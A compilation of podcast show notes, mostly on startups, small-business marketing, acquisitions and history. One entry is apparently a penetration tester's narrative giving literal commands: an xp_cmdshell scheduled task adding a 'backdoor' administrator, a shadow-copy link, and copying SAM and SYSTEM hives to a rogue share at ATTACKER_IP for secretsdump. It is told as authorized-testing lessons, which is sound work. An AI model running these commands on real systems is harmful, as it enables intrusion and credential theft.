Join me as I chat with Cody Schneider about the power of using YouTube Creators for influencer marketing. Cody explains a step-by-step playbook for acquiring customers through YouTube creator partnerships. The strategy involves reaching out to 100+ creators in your niche, offering a three-video package plus affiliate commission, identifying which creators drive the most conversions, then putting top performers on monthly retainers. This creates a scalable system where you eventually have dozens of creators regularly making content about your product, with trackable ROI through affiliate links. Timestamps: 00:00 - Intro 01:03 - Why partner with Youtube Creators 04:38 - How to find and contact YouTube creators 08:11 - Crafting the email and follow-up strategy 09:26 - Overview of the Strategy 14:42 - The value of underpriced attention 19:12 - The numbers and scaling the process 22:06 - Biggest Bottleneck 22:50 - Automating the process 24:47 - Why start now Key Points: • YouTube creators + affiliate marketing is an effective strategy for getting initial customers, especially for SMB products with one killer feature • The strategy works by reaching out to creators, having them make videos about your product, and giving them affiliate commissions • This is a marketing arbitrage opportunity because many smaller creators (10k-50k subscribers) don't know how to properly price themselves • The goal is to identify underpriced creators, test them, then put the best performers on retainer to create monthly content The #1 tool to find startup ideas/trends - https://www.ideabrowser.com LCA helps Fortune 500s and fast-growing startups build their future - from Warner Music to Fortnite to Dropbox. We turn 'what if' into reality with AI, apps, and next-gen products https://latecheckout.agency/ Boringmarketing - Vibe Marketing for Companies: boringmarketing.com  The Vibe Marketer - Join the Community and Learn: thevibemarketer.com Startup Empire - a membership for builders who want to build cash-flowing businesses https://www.skool.com/startupempire/about FIND ME ON SOCIAL X/Twitter: https://twitter.com/gregisenberg  Instagram: https://instagram.com/gregisenberg/ LinkedIn: https://www.linkedin.com/in/gisenberg/ FIND CODY ON SOCIAL Cody's startup: https://www.graphed.com  X/Twitter: https://x.com/codyschneiderxx  Youtube: https://www.youtube.com/@codyschneiderx

SummaryIn this week's episode of Startup Junkies, host Daniel Koonce sits down with Lori Hull, founder and president of Spectrum Independence Living, better known as SpIndL. Lori shares her inspiring journey as a parent of a young adult with autism, the struggles she's faced finding support services, and her determination to create real change in her Arkansas community.SpIndL was founded to help neurodivergent adults, particularly those with autism, bridge the daunting gap, often called the “services cliff,” that follows high school graduation. As Lori explains, many support systems available during school years fade away in adulthood, leaving families feeling isolated and young adults without the tools they need for independent living. SpIndL steps in to provide life skills coaching, job readiness training, social opportunities, and eventually supported housing. Their goal is to help neurodivergent individuals gain confidence, find meaningful work, and live independently.Additionally, Lori highlights the power of community alliances, affordable solutions (including scholarships for coaching classes), and the transformative impact of social events like game nights. The episode offers practical advice for caregivers, educators, and business leaders about fostering inclusivity and dismantling barriers to employment and independence. SpIndL's vision for the next five years includes expanding job support, building alliances, and eventually creating a neurodiversity-supportive community. Tune in today!Show Notes(00:00) Introduction(04:11) A Need for Affordable Transitional Programs in Arkansas(08:17) Guided Networking for Skill Development(10:48) Navigating School and Job Challenges(14:08) Startup Events and Opportunities(20:30) Independence Academy for Neurodivergent Students(23:19) Finding Light in Caregiving Obstacles(26:15) Closing ThoughtsLinksDaniel KoonceStartup JunkieStartup Junkie YouTubeLori HullSpectrum Independence Living (SpIndL)

Pour l'épisode de cette semaine, je reçois Arthur Querou, le CEO de Vibe.Vibe est une plateforme qui permet aux entreprises — de la PME locale jusqu'aux grandes marques — de lancer simplement et efficacement des campagnes publicitaires sur la TV en streaming (CTV), avec un niveau de ciblage et de performance comparable à celui de Facebook Ads.Au cours de cet épisode, nous sommes revenus sur le parcours entrepreneurial d'Arthur : son premier site revendu à 15 ans, la création de MotionLead (pionnier des formats publicitaires mobiles interactifs, passé par Y Combinator), la revente d'une première société à Adicteev, puis KMTX avant de lancer Vibe.Nous avons parlé de :la genèse de Vibe et la décision de vendre leur activité précédente pour financer le lancement,la vision de construire une plateforme product-led, self-service, adressant les SMB américaines,le rôle du ciblage publicitaire avancé et de la création automatisée via Vibe Studio,les enjeux de croissance rapide (100M$ d'ARR, +20% par mois) et de structuration d'équipe entre France et US,la différence entre la publicité TV traditionnelle et la CTV mesurable, ainsi que les opportunités de retargeting.Arthur partage également ses ressources favorites, comme Hacker News, les playbooks de Quantum Light (Family Office du CEO de Revolut), ou encore le podcast 20VC de Harry Stebbings.Vous pouvez suivre Arthur sur Twitter et sur LinkedIn.Bonne écoute !Mentionnés pendant l'épisode :Hacker NewsQuantum Light Playbooks20VC avec Harry StebbingsPour soutenir SaaS Connection en 1 minute⏱ (et 2 secondes) :Abonnez-vous à SaaS Connection sur votre plateforme préférée pour ne rater aucun épisode

Ask Me Anything: vCISO Strategy, IR, and Cyber Leadership | DailyCyber 274 ~ Watch Now ~ In this special AMA edition of DailyCyber, I take your questions and dig into the hottest issues facing cybersecurity leaders today. No guest—just unfiltered insights from the frontlines of vCISO work. 

A full founder's arc: starting small, building global SaaS companies from Hyderabad, taking one to IPO, another to a billion-dollar exit, and then choosing to begin again (and again).Kiran Darisi began at Zoho, founding team member of Freshworks at 25, and stayed twelve years till the company went public. Today he is building Atomicwork, reinventing service management in the AI era. Sreedhar Peddineni started with Host Analytics back when SaaS was still called application service provider, went on to create the customer success category with Gainsight, and is now on his third venture with GTM Buddy.In this episode, we talk about what it takes to build companies that last for decades. We discuss how startups can find the “Goldilocks zone”,why smaller teams are creating more value than ever, and the mistakes founders often make when moving from SMB to enterprise.Both founders share how AI is reshaping every layer of SaaS, why it's both eating the pie and expanding it and what's left for entrepreneurs when the biggest AI companies are chasing every vertical.This conversation looks back at some of India's iconic SaaS companies, shares lessons from two decades of building, and looks ahead to the future of SaaS from India.0:00 — Atomicwork x GTM Buddy1:17 — Why They Chose to Be Founders Again8:27 — How to generate pipeline predictability at a startup?16:46 — Becoming Freshworks' Co-Founder at 2519:43 — How Atomicwork Co-Founders Connected & Chose Their Problem23:25 — Building Companies That Last for Decades27:18 — Why Smaller, High-Quality Teams Win30:21 — 1st vs 2nd Founders: What They Get Wrong31:56 — Scaling: SMB → Mid-Market → Enterprise33:36 — Category Creation at Gainsight40:03 — Disrupting vs Expanding Large Categories44:08 — How to Choose the Right Market49:08 — Why Atomicwork Chose This Category53:11 — The 'Goldilocks Zone' for a Startup Category57:11 — Can Salesforce Be Replaced?58:26 — Neon Fund x Atomicwork1:01:27 — Neon Fund x GTM Buddy1:03:44 — If Big AI Goes Everywhere, What's Left for B2B SaaS?1:07:36 — What to Build in the AI Era?1:10:35 — Is AI Expanding the Pie While Eating It?1:17:03 — How Useful Are Custom GPTs for Companies?1:20:34 — Workflows vs AI Workforce-------------India's talent has built the world's tech—now it's time to lead it.This mission goes beyond startups. It's about shifting the center of gravity in global tech to include the brilliance rising from India.What is Neon Fund?We invest in seed and early-stage founders from India and the diaspora building world-class Enterprise AI companies. We bring capital, conviction, and a community that's done it before.Subscribe for real founder stories, investor perspectives, economist breakdowns, and a behind-the-scenes look at how we're doing it all at Neon.-------------Check us out on:Website: https://neon.fund/Instagram: https://www.instagram.com/theneonshoww/LinkedIn: https://www.linkedin.com/company/beneon/Twitter: https://x.com/TheNeonShowwConnect with Siddhartha on:LinkedIn: https://www.linkedin.com/in/siddharthaahluwalia/Twitter: https://x.com/siddharthaa7-------------This video is for informational purposes only. The views expressed are those of the individuals quoted and do not constitute professional advice.Send us a text

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICEMSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITYSYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:tempbackup ?GLOBALROOTDeviceHarddiskVolumeShadowCopy123 From command prompt on the victim system, I authenticated to my rogue share: net use ATTACKER_IPshare /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM my.attackingipsys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

I share a crucial sales framework that can prevent you from losing deals after what seemed like successful presentation meetings. I explain the "BAMFAM" (Book a Meeting from a Meeting) strategy, which ensures you never leave a proposal meeting empty-handed without either a clear decision or a confirmed next step on the calendar. //Welcome to Repeatable Revenue, hosted by strategic growth advisor , Ray J. Green.About Ray:→ Former Managing Director of National Small & Midsize Business at the U.S. Chamber of Commerce, where he doubled revenue per sale in fundraising, led the first increase in SMB membership, co-built a national Mid-Market sales channel, and more.→ Former CEO operator for several investor groups where he led turnarounds of recently acquired small businesses.→ Current founder of MSP Sales Partners, where we currently help IT companies scale sales: www.MSPSalesPartners.com→ Current Sales & Sales Management Expert in Residence at the world's largest IT business mastermind.→ Current Managing Partner of Repeatable Revenue Ventures, where we scale B2B companies we have equity in: www.RayJGreen.com//Follow Ray on:YouTube | LinkedIn | Facebook | Twitter | Instagram

Cost of Glory Greece Retreat: https://costofglory.com/retreatPart 3 of 3 of Caesar's Civil War series. From triumph to near-disaster. Caesar's Egyptian entanglement transforms him from a glorious victor to a desperate challenger. In this episode:Pompey's assassination in Egypt and Caesar's unexpected grief over his former ally's deathCleopatra's legendary entrance in a bed-sack and her political seduction of CaesarThe brutal urban warfare trapping Caesar in the palace quarter for six monthsThe burning of the Great Library during the harbor battles—400,000 volumes lostCaesar's desperate swim to safety while clutching precious documents above waterYoung King Ptolemy XIII's tragic fate and the consolidation of Cleopatra's powerThe lightning campaign against Pharnaces in Asia—"Veni, Vidi, Vici"The veterans' mutiny outside Rome and Caesar's masterful psychological manipulationCato's final stand in Africa and his defiant suicideThe decisive Battle of Thapsus and the strategic genius of fighting on narrow groundThe massacre of surrendering enemies as Caesar's clemency finally failsAs Caesar recounts, the Republic's future dictator came very close to destruction in the palaces and canals of Alexandria. While Rome descended into chaos under Mark Antony's drunken rule, Caesar fought for his life against war elephants and Numidian cavalry, transformed by his liaison with the living goddess Cleopatra. The man who emerged from Egypt was no longer merely a Roman general, he had consorted with divinity and fathered the son of a pharaoh. As Cicero wrote in frantic letters to Atticus: "Where am I to look for solace?" The final campaign that would cement Caesar's supremacy began with the most dangerous gamble of his career.Works Cited: (Affiliate links - support the show!)Gareth Sampson, The Battle of Pharsalus Matthias Gelzer, Caesar: Politician and Statesman James Froude, Caesar: A Sketch, Raaflaub (ed.) Landmark Caesar Thanks to our sponsor, Ai Labs. Visit austinlab.ai to chat with a team member about custom Agentic AI power solutions for your SMB to Enterprise level business.  Powered by Shokworks.Also Thanks Dr. Richard Johnson, the Crassus to this Caesar series!

Register for the webinar: Buyer of Choice Series Pt 1: Building Your Personal Buyer Brand (in a Sea of Searchers) - TODAY!- https://bit.ly/46ntJLGDoug Lepisto has partnered with 7 searchers to acquire businesses strictly in Western Michigan. Momentum is building.Topics in Doug's interview: Having one foot in academia, one in businessPlace-based private equity modelDelivering returns while elevating Western MichiganCompetitive advantage through building local trust“Find the operator, find the deal” philosophyInvesting in searchers with one-on-one educationThe tide is shifting to long-term hold strategyWestern Michigan students intern at portfolio companies5 elements of his private equity modelPlenty of businesses, shortage of owner-operatorsReferences and how to contact Doug:LinkedInSleeping Giant CapitalCenter for Principled Leadership and Business StrategyGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

All links and images can be found on CISO Series. Check out this post for the discussion that is the basis of our conversation on this week's episode co-hosted by me, David Spark, the producer of CISO Series, and Edward Contreras, senior evp and CISO, Frost Bank. Joining us is CISO Series reporter and CISO herself, Hadas Cassorla. In this episode: Security poverty line excludes SMBs  Skills gap and channel dynamics slow SMB security adoption The startup disadvantage cycle Technology adoption flows from enterprise complexity to market simplification Huge thanks to our sponsor, ThreatLocker ThreatLocker® is a global leader in Zero Trust endpoint security, offering cybersecurity controls to protect businesses from zero-day attacks and ransomware. ThreatLocker operates with a default deny approach to reduce the attack surface and mitigate potential cyber vulnerabilities. To learn more and start your free trial, visit ThreatLocker.com.

StretchDollar is transforming how small businesses approach employee health benefits by decoupling plan administration from funding. Rather than forcing all employees onto a single group plan, the platform allows employers to provide pre-tax monthly budgets that employees can use to purchase individual health plans they select and own themselves. In this episode, I spoke with Marshall Darr, Co-Founder and CEO of StretchDollar, about building a solution that addresses the unique challenges small businesses face in providing healthcare benefits. Topics Discussed: The limitations of traditional group health plans for small businesses under 50 employees How the 2020 IRS ruling on ICHRAs (Individual Coverage Health Reimbursement Arrangements) enabled new approaches StretchDollar's evolution from being their own first customer to serving diverse small businesses The company's cost-effective go-to-market strategy focused on inbound traffic and partnerships Building trust and brand credibility in a heavily regulated industry Optimizing content strategy for both traditional SEO and emerging LLM search traffic The decision to move away from paid marketing channels GTM Lessons For B2B Founders: Become your own first customer to validate the solution: Marshall's team used StretchDollar internally from day one, with his co-founder in San Francisco wanting Kaiser while Marshall was in Pittsburgh where Kaiser wasn't available. This real-world constraint validated their core value proposition. Rather than compromising on a "Frankenstein sort of national but very small group plan," they gave everyone $500 monthly budgets. B2B founders should consider how their own operational needs can serve as the initial proof point for their solution. SMB markets require ruthless cost-effectiveness in go-to-market: Marshall learned from Gusto that targeting small businesses demands extremely cost-effective acquisition strategies. With much smaller annual contract values than enterprise clients, "you need to rely a lot on inbound traffic, a lot on customer-to-customer referrals." B2B founders in SMB markets must build products compelling enough that customers actively recommend them, as traditional enterprise sales models don't work economically. Industry expertise enables superior content marketing: StretchDollar's content strategy works because Marshall spent years as a health insurance broker, selling "hundreds of group policies, hundreds to thousands of individual policies." This deep domain knowledge allows them to create genuinely useful content that attracts both traditional search traffic and increasingly, LLM-generated referrals. B2B founders should leverage their industry expertise to create content that demonstrates unique insights rather than generic advice. Paid marketing can be a distraction from fundamentals: Marshall's team discovered that stopping paid marketing resulted in only "a very marginal sort of drop in signups" while freeing up "tens to hundreds of thousands of dollars." The shift forced them to focus more on content quality and organic growth. For SMB-focused B2B founders, paid channels may be "so optimized right now that you need an insane budget and really good unit economics" to compete effectively. Self-service onboarding becomes competitive advantage: Drawing from Mercury's banking experience, Marshall realized SMB customers want to "knock this out" in 20 minutes without extensive sales calls. StretchDollar built their platform to allow self-onboarding while maintaining sales support for those who prefer it. B2B founders should consider how self-service capabilities can differentiate their solution while improving unit economics. Partnership strategy should target natural referral sources: StretchDollar partnered with Oscar Health, appearing on their website as the preferred destination for sub-20 employee groups. This creates a natural referral flow from a complementary service. B2B founders should identify companies whose customers represent natural expansion opportunities and build formal partnership channels.   //   Sponsors: Front Lines — We help B2B tech companies launch, manage, and grow podcasts that drive demand, awareness, and thought leadership. www.FrontLines.io The Global Talent Co. — We help tech startups find, vet, hire, pay, and retain amazing marketing talent that costs 50-70% less than the US & Europe.  www.GlobalTalent.co   //   Don't Miss: New Podcast Series — How I Hire Senior GTM leaders share the tactical hiring frameworks they use to build winning revenue teams. Hosted by Andy Mowat, who scaled 4 unicorns from $10M to $100M+ ARR and launched Whispered to help executives find their next role. Subscribe here: https://open.spotify.com/show/53yCHlPfLSMFimtv0riPyM 

On this episode of the Scouting For Growth podcast, Sabine VdL talks to Arvind Sontha, COE and co-founder of Kyber, an AI startup redefining how carriers handle claims correspondence. The insurance industry is undergoing a seismic shift as carries face mounting pressure to deliver faster, more transparent, and compliant communications to policy holders and clients, so the need for digital claims transformation has never been greater. KEY TAKEAWAYS If you think about insurance and tailoring insurance, the underlying model for risk is effectively a ‘user personal model'. We started with an obscure line of insurance that didn't exist yet – or did around personal cyber insurance. We wondered what it would look like, rather than SMB or commercial cyber insurance, as individual underwriting and risk modelling. We got lucky finding a great partner in branch insurance very early on. Over the course of our time engaging with them we ended up turning into an extension of their team. We were able to work closely with them, they trusted us to quickly understand their problems and iterate to give them quick solutions, while at the same time they understood that there are going to be quirks with products that aren't fully fleshed out which they could iron out over time. It was a symbiotic relationship. If an adjustor has to take an hour to put a document together you have to clear a 1.5-hour space in your calendar to do that. Life is hectic, you have meetings and other tasks to do and so that 1.5-hour block keeps getting moved back, same thing happens to managers. If you can take it from 1.5 hours to 30 seconds for a high-quality letter and a one-click process to approve, you can slip that into any part of your calendar. That's a really underrated part of the process. Some of the things we want to do in the future is include things like managed parameters. We think it's obtuse for all the carriers to manage all the fraud language individually all the time, for example. Kyber could manage that for you to make sure everything's automatically compliant and good to go. Statutory language really enables the full organisation to be prepared to catch each other. BEST MOMENTS ‘Kyber is an AI native, document generation and delivery platform made for claims teams, that's what we do.' ‘Nobody doubted that I could build the complex AI to underwrite and quantify the risk, what they needed to figure out was could I sell insurance, which is why I got my broker's licence!' ‘The results have been better than I expected, we've seen 65% faster drafting times, 80% consolidation of their templates across a 50-state operation, and 5x reduction in letter cycle times for documents.' ABOUT THE GUESTS Arvind Sontha is co-founder and CEO of Kyber, an AI startup that is redefining how carriers' NTPAs handle claims correspondence. Arvind is at the forefront of digital transformation, leading Kyber's mission to automate and streamline the entire lifecycle of claims forms and letters. Kyber's clients report the impact of AI automation is undeniable: Claims teams using Kyber have reduced letter drafting time by up to 85%, cut review time by 60%, and achieved a 3x faster outreach to policy holders. LinkedIn ABOUT THE HOST Sabine is a corporate strategist turned entrepreneur. She is the CEO and Managing Partner of Alchemy Crew a venture lab that accelerates the curation, validation, & commercialization of new tech business models. Sabine is renowned within the insurance sector for building some of the most renowned tech startup accelerators around the world working with over 30 corporate insurers, accelerated over 100 startup ventures. Sabine is the co-editor of the bestseller The INSURTECH Book, a top 50 Women in Tech, a FinTech and InsurTech Influencer, an investor & multi-award winner. Twitter LinkedIn Instagram Facebook TikTok Email Website This Podcast has been brought to you by Disruptive Media. https://disruptivemedia.co.uk/

Register for the webinar: Buyer of Choice Series Pt 1: Building Your Personal Buyer Brand (in a Sea of Searchers) - Thu Sep 11th - https://bit.ly/4pcznI8Jeremy Hunka bought a $2m cabinet business, and year one consumed him. Leadership had to evolve for things to improve.Topics in Jeremy's interview:Buying a business at age 27Rocky first day as ownerLiving 1.5 hours from the businessEmployees wanting him present every dayTaking too long to fire an employeeWatching sales drop dangerously lowFacing resistance from employeesLearning to balance empathy with boundariesHiring a great sales leaderInstalling a CEO to run the day-to-dayReferences and how to contact Jeremy:LinkedInSummit Mountain CoatingsDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

SummaryIn this week's episode of Startup Junkies, hosts Daniel Koonce, Caleb Talley, and Jeff Amerine welcome Marshall Saviers, CEO and President of Cushman & Wakefield | Sage Partners, for an in-depth conversation about commercial real estate, entrepreneurial timing, and building community in Northwest Arkansas. Marshall's journey is rooted in real estate, inspired by his family's legacy and shaped by his diverse childhood living in multiple cities.Moving to NWA in 2005, he witnessed firsthand the explosive regional growth that was transforming cow pastures into thriving business corridors. Early on, Sage Partners carved out a niche serving office tenants among the surge of Walmart-vendor relocations but faced severe challenges during the 2009 recession. Marshall recounted the decision to double down rather than abandon ship, fueling Sage Partners' transition into a full-service firm spanning property management, development, and investment.Additionally, throughout the episode culture emerged as a recurring theme; Marshall stressed hiring the right people over simply hiring for skills, refining Sage Partners' team to maintain quality and a sense of local connection even as they scaled up to manage over six million square feet of property. The conversation also delved into his entrepreneurial adventures, like co-founding Arkansas Craft Distribution, where timing and adaptability proved critical to success.Looking ahead, Marshall remains bullish on NWA's prospects, identifying opportunities in redevelopment, housing, and continued community investment. His blend of commercial acumen and civic commitment is driving both urban transformation and local growth, underscoring his advice to entrepreneurs: grow intentionally and never overlook the importance of culture!Show Notes(00:00) Introduction(03:28) The Regional Impact of Walmart's Vendor Influx(06:32) Weathering the Pandemic and Its After Effects(09:57) Bentonville's Development and New STEM University(15:21) Insights on Alcohol Distribution Changes(18:49) Forecasting Trends in Northwest Arkansas(26:34) Empowering Sage Partners' Next Generation(29:28) Prioritizing Intentional Growth over Rapid Expansion(30:05) Closing ThoughtsLinksDaniel KoonceCaleb TalleyJeff AmerineStartup JunkieStartup Junkie YouTubeMarshall SaviersCushman & Wakefield | Sage Partners

Sahil was 18 when TechCrunch published a hit piece calling him a copycat. His co-founder Aaron was 16. They'd just raised $6 million from YC and top VCs for their crypto startup, then got subpoenaed by a state government and watched their business implode. So they fired everyone, moved back to their parents' homes, and spent months cold-calling dentists and lawn care companies to find a real problem. What they discovered: 80% of SMBs still use community banks from 1995. Now Affiniti has 2,000 customers, $10M ARR run rate, and just raised $17M by partnering with trade associations to acquire customers at 25% the cost of traditional fintech. This is the raw story of teenage founders who got punched in the face by Silicon Valley and came back swinging.Why You Should Listen:How getting destroyed on TechCrunch at 18 and subpoenaed by the government led to a $3M revenue pivot in 12 monthsWhy going back to square 0 is often the best moveThe trade association go-to-market strategy that worked for SMB.Why 200 VC rejections and raising $6M in peak 2021 couldn't save their first startup—but taught them everything they needed to know.Get comfortable with bad days—stoicism is the only way to survive.Keywords:Affiniti, Sahil Phadnis, SMB fintech, startup pivot, Y Combinator, teenage founders, Series A, B2B payments, startup failure, trade associations00:00:00 Intro00:01:50 COVID existential crisis at 1600:08:36 Building websites for restaurants00:11:11 Meeting Aaron on Instagram00:15:17 200 VC rejections then raising $6M00:23:03 Getting called a fraud on TechCrunch00:29:15 Firing everyone and moving home00:31:16 Faking toothaches to research SMBs00:40:50 Launching Affiniti00:47:00 The trade association growth hack00:55:03 Raising Series A in 3 weeks00:58:30 Stoicism and bad daysSend me a message to let me know what you think!

Register for the webinar: Love & Leverage: Lessons from Couples Who Acquired Together - TODAY! - https://bit.ly/4mBLyw5Brett Maxam bought a concrete business with high 6 figures of earnings. Despite being a plane ride away, it's gone well.Topics in Brett's interview:His desire to “run the show” after watching acquisitions up closeInvolving his wife as a sounding boardBuying a business a plane ride awayProactively negotiating for a seller note“Shut up and let them do a little more talking”Using ROBS to fund a 30% down paymentGetting a 70% seller note with a sub 3x multiple13-week cashflow forecast is criticalDelegating management to the local teamDeciding whether to grow the business or acquire againReferences and how to contact Brett:LinkedInGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

First, the guys discuss the report by Pablo Torre of The Athletic and Meadowlark Media that Kawhi Leonard was paid by a fraudulent tree-planting company for "no-show" work, allegedly in an effort by the Clippers to circumvent the league's salary cap upon his signing back in 2019. Yes, seriously. Then, after the break, more normal conversation. Is the De'Aaron Fox contract fair? Is Jeremy Sochan next, or should the Spurs wait on that extension? All that and more on the latest episode of SMB.

In this episode the hosts break down a surprisingly solid liquor store deal in Washington, DC, questioning whether a 3x multiple and $500K SDE is too good to be true.Business Listing – https://www.tworld.com/buy-a-business/listings/80yrs-old-sba-appd-profitable-corner-liquor-biz-in-nw-dc-Welcome to Acquisitions Anonymous – the #1 podcast for small business M&A. Every week, we break down businesses for sale and talk about buying, operating, and growing them.

Register for the webinar: Love & Leverage: Lessons from Couples Who Acquired Together - Thu Sep 4th - https://bit.ly/47PpZ6LFelipe Corcuera bought an automation company that didn't offer AI. Since ChatGPT was released, he has had to adapt.Topics in Felipe's interview: Imperfect information in the lower middle marketPivoting from investing to operatingFinding a partner with complementary strengthsHow he defines success during searchAI threats to traditional SaaS businessesTesting for seller motivationValuation based on revenueAggressively reinvesting in the businessPros and cons of being an AI companyEconomics of sharing deals for a finder's feeReferences and how to contact Felipe:LinkedInBeeckerRelay InvestmentsGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

SummaryEn este episodio de Querido Emprendedor, Ignacio Balderrama conversa con Laura Arce, apicultora de Costa Rica. Laura estudió apicultura tropical en la Universidad Nacional de Costa Rica, donde aprendió el cuidado, manejo y beneficios de las abejas y sus productos, como miel, propóleos, polen, jalea real y veneno, todos con propiedades saludables. Destaca la comunicación única de las abejas mediante danzas para indicar la ubicación del néctar y su altruismo al sacrificarse por la colmena. Su empresa desarrolla productos naturales cosméticos y alimenticios, además de promover el turismo apícola para educar sobre la importancia ecológica de las abejas, que polinizan el 80% de los alimentos que consumimos. Laura comparte su pasión por las abejas, su formación en apicultura tropical y el valor ecológico y medicinal de los productos apícolas. Además, habla sobre los desafíos de emprender en este sector, la importancia del networking y cómo romper estigmas culturales para alcanzar el éxito empresarialLinksIgnacio BalderramaStartup JunkieKiva Northwest ArkansasLaura Arce

About fall conferences: Southeast Entrepreneurship through Acquisition Conference2025 Buy Then Build SummitMcguireWoods Independent Sponsor ConferenceM &A Launchpad's Fall Show (use ACQUIRINGMINDS for a discount)Despite tight search criteria, Daniel Batista found a business that excited him. The eye-popping margins were a bonus.Topics in Daniel's interview:His experience in the film industryLaunching a Latino media brandSearching for a fun businessAcquiring an indoor playground LA demographics are perfect for this businessHigh initial installation costs but 50% EBITDA marginsCandeeland Kids' unique franchising structureSurprisingly low maintenance costsTeenage hourly laborAdding an arcade to his locationReferences and how to contact Daniel:LinkedInCandeeland Kids DowneyShell Zhang on Acquiring Minds: Awakening to Entrepreneurship to Buy a Not-Boring BusinessSam Rosati on Acquiring Minds: How to Shorten Your Search: Big 3, Little 2Work with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

Send us a textIn this action-packed episode, Joey Pinz sits down with cybersecurity veteran and ex-MSP operator Chris Loehr. From his early days as a two-footed soccer midfielder to leading Solis Security through complex ransomware response cases, Chris shares insights forged in both cleats and crisis. ⚽

About Jen Lehner: Here's the deal: AI is the ultimate business cheat code—when you know how to use it with intention. But most of what's out there either talks down to you or overwhelms you with jargon and “prompt packs” you'll never touch.I'm not here for that.I'm here to help coaches, consultants, and SMB'S stop spinning their wheels and start building systems that scale, powered by AI + smart human strategy.Because here's what I know:When AI handles the mechanical, humans handle the meaningfulYou don't need to become a coder or prompt engineer.You do need to understand how to use AI in your business and in your life.Through step-by-step training, templates, and live strategy calls inside Front Row AI Club, I make AI feel less like a sci-fi mystery and more like your business's secret weapon.It's not just about going viral or chasing shiny tools. It's about building a business that feels lighter, more aligned, and way more fun.Connect with Jen here: www.jenlehner.comDon't forget to take our free business assessment here:https://www.magpaiassessments.com/4117/0